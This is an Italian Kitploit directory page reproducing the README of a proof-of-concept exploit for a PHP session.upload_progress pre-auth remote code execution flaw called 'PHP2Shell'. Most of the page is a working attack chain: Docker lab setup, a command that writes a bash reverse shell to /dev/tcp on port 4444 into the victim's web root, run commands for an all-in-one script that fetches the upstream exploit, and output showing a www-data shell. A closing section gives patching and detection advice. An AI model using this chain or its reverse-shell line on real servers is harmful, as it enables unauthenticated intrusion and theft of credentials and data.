Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-109619 — Proof-of-concept di exploit per RCE pre-auth tramite PHP session.upload_progress (PHP2Shell), con leak di heap/ASLR, profili di offset per build e un handler reverse shell tutto-in-uno. | Kitploit
Strumenti/GitHubGitHub/eqstlab/cve-2026-109619
Memory ForensicsAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingStrumento di Accesso RemotoSviluppo PayloadLab e Pratica
GitHubeqstlab/cve-2026-109619

CVE-2026-109619

Proof-of-concept di exploit per RCE pre-auth tramite PHP session.upload_progress (PHP2Shell), con leak di heap/ASLR, profili di offset per build e un handler reverse shell tutto-in-uno.

71 giorno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository

CVE-2026-109618 / CVE-2026-109619 PHP2Shell RCE

★ CVE-2026-109618 / CVE-2026-109619 PHP session.upload_progress Pre-Auth RCE PoC ★


Panoramica

PHP2Shell (CVE-2026-109618 / CVE-2026-109619) è una vulnerabilità di Remote Code Execution non autenticata in PHP sotto Apache mod_php. Una richiesta multipart/form-data appositamente costruita provoca un bailout per esaurimento memoria nel gestore session.upload_progress in fase di pre-richiesta, lasciando puntatori obsoleti che espongono l'heap Zend e le basi di libphp.so tramite Set-Cookie (aggirando l'ASLR); una HashTable contraffatta reindirizza poi un distruttore verso zif_system, eseguendo comandi come worker web (www-data). Non è richiesta autenticazione e le impostazioni di sessione vulnerabili sono attive per impostazione predefinita.


Versioni interessate

CategoriaVersione
VulnerabiliPHP 8.2.x / 8.3.x / 8.4.x / 8.5.x precedenti alla patch
CorrettePHP 8.5.12 · 8.4.27 · 8.3.36 · 8.2.35 o successive (2026-10-21)
Verificate suphp:8.4.26-apache ufficiale (Debian 13, amd64)

Gli offset dipendono dalla build (versione · architettura · distribuzione). Questo PoC include un profilo per 8.4.26-apache amd64; altre build richiedono il proprio profiles/*.json.


Impatto

  • Esecuzione di codice remoto con l'account del worker web (www-data)
  • Lettura e scrittura complete della document root, della configurazione dell'applicazione, delle credenziali del database e dei segreti accessibili da tale account
  • Divulgazione di memoria (puntatori dell'heap / libphp, e potenzialmente token e chiavi di sessione) già prima dell'RCE

Ambiente

Vittima = php:8.4.26-apache ufficiale con la configurazione seguente. L'attaccante opera da un container separato (eqst-kali) sulla stessa rete bridge Docker; la reverse shell si riconnette al suo IP.

# victim (official image + vulnerable config inlined in the Dockerfile)
docker build --platform linux/amd64 -t p2s-victim .
docker run -d --name p2s-victim --platform linux/amd64 p2s-victim          # default bridge
docker inspect -f '{{.NetworkSettings.Networks.bridge.IPAddress}}' p2s-victim   # e.g. 172.17.0.2

# attacker (kali) on the same bridge
docker network connect bridge eqst-kali
PrecondizioneStato in questo lab
PHP 8.2–8.5 (pre-patch) + Apache mod_phpPHP 8.4.26 / Apache 2.4.69, prefork
session.upload_progress.enabledOn (default)
session.use_strict_mode0 (default)
display_errorsOn (consente la fuga di informazioni della fase 1)
memory_limit128M (default — lasciato invariato)
post_max_size / upload_max_filesize > memory_limit (consente a un corpo della richiesta di raggiungere l'OOM)256M (le applicazioni che supportano l'upload comunemente aumentano questi valori)
Singolo processo worker Apache (lo stato obsoleto è per processo)1

Nota sull'host (WSL2): su Windows Docker Desktop (WSL2) il kernel mappa libphp a 0x7c..., al di sotto del controllo ASLR 0x7F... dell'exploit upstream, quindi scarta la fuga di informazioni valida. p2s_shell.py amplia automaticamente tale intervallo. Su un host Linux nativo la patch è un no-op.


PoC

p2s_shell.py è un singolo processo che apre il proprio listener, recupera l'exploit upstream, seleziona gli offset da profiles/*.json in base alla versione PHP del target, attiva la catena ed intercetta una reverse shell aggiornata a PTY (senza nc separato).

PoC/
├── Dockerfile                             # victim image (config inlined)
├── p2s_shell.py                           # all-in-one: fingerprint -> offsets -> trigger -> shell
└── profiles/php-8.4.26-apache-amd64.json  # per-build offsets (system/dtor/htdata)
    (vendor/exploit.py is auto-fetched from upstream at run time; not stored here)

Prerequisito una tantum: posizionare il payload reverse-shell nella web root della vittima (il vettore del comando è di 14 byte, quindi i payload lunghi vanno inseriti in un file eseguito tramite bash</w/c, come da upstream):

KALI=$(docker inspect -f '{{.NetworkSettings.Networks.bridge.IPAddress}}' eqst-kali)
docker exec p2s-victim sh -c "printf 'bash -i >& /dev/tcp/$KALI/4444 0>&1\n' > /w/c"   # /w = web root symlink

Esegui il PoC dall'interno dell'attacker (i percorsi sono relativi allo script):

# interactive PTY shell  (victim IP from the inspect above)
python3 p2s_shell.py -u http://172.17.0.2/index.php

# batch: run commands and print output
python3 p2s_shell.py -u http://172.17.0.2/index.php --run 'id;uname -a'

Esegue il fingerprinting di X-Powered-By: PHP/8.4.26, carica il profilo corrispondente e apre la shell:

[*] profile php-8.4.26-apache-amd64.json: PHP 8.4.26/amd64 system=0x465370 dtor=0x65eb60 htdata=0x690D8
[*] listening on 0.0.0.0:4444
[*] triggering exploit: bash</w/c  (offsets from JSON profile)
[+] reverse shell from 172.17.0.2:54620
www-data@victim:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Opzioni:

  • --run 'c1;c2' — modalità batch (non serve un terminale interattivo)
  • --no-pty — mantiene una shell dumb semplice invece dell'upgrade a PTY
  • --php-version / --arch — sovrascrive la build di destinazione quando X-Powered-By è nascosto
  • --lport — porta della reverse shell (deve corrispondere alla porta incorporata in /w/c, predefinita 4444)

Mitigazione

  • Aggiornare PHP a 8.5.12 / 8.4.27 / 8.3.36 / 8.2.35 o versioni successive (l'unica correzione completa); riavviare i worker dopo
  • Impostare session.upload_progress.enabled = Off se il progresso dell'upload non viene utilizzato
  • Impostare display_errors = Off in produzione (blocca la fuga di informazioni dello stage-1 fornito)
  • Eseguire PHP come utente non privilegiato con una document root in sola lettura; limitare la frequenza dei corpi multipart di grandi dimensioni a livello di edge
  • Monitorare richieste multipart con ~1000 campi, corpi molto grandi, OOM/500 ripetuti, crash dei processi figli di Apache e righe di log zend_mm_heap corrupted

Analisi

  • KR:
  • EN:
Scarica lo strumento